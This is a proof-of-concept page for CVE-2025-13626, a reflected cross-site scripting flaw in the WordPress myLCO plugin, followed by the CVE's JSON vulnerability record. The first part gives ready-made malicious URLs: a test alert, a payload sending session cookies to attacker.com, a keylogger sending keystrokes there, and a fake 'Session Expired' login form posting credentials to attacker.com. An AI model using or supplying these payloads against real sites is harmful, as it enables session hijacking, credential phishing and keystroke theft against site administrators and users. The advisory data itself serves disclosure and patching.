CVE-2025-13626

<!-- CVE-2025-13626 PoC - Reflected XSS in WordPress myLCO Plugin --> <!-- Target: WordPress site with myLCO plugin <= 0.8.1 --> <!-- Malicious URL Structure --> <!-- Replace 'target-site.com' with the vulnerable WordPress site URL --> <!-- Basic XSS PoC --> https://target-site.com/wp-admin/admin.php/"><script>alert('XSS')</script> <!-- Cookie Stealing PoC --> https://target-site.com/wp-admin/admin.php/"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Keylogger PoC --> https://target-site.com/wp-admin/admin.php/"><script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script> <!-- Social Engineering PoC - Fake Login --> https://target-site.com/wp-admin/admin.php/"><div style='position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999'><h2>Session Expired</h2><form action='https://attacker.com/phish'>Username:<input type='text'><br>Password:<input type='password'><br><input type='submit' value='Login'></form></div>

{"cve": {"id": "CVE-2025-13626", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:51.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The myLCO plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.8.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mylco/tags/0.8.1/myLCO.php#L438", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mylco/trunk/myLCO.php#L438", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/mylco", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/132efd40-1c90-4d2a-a87c-504526b7a7d4?source=cve", "source": "[email protected]"}]}}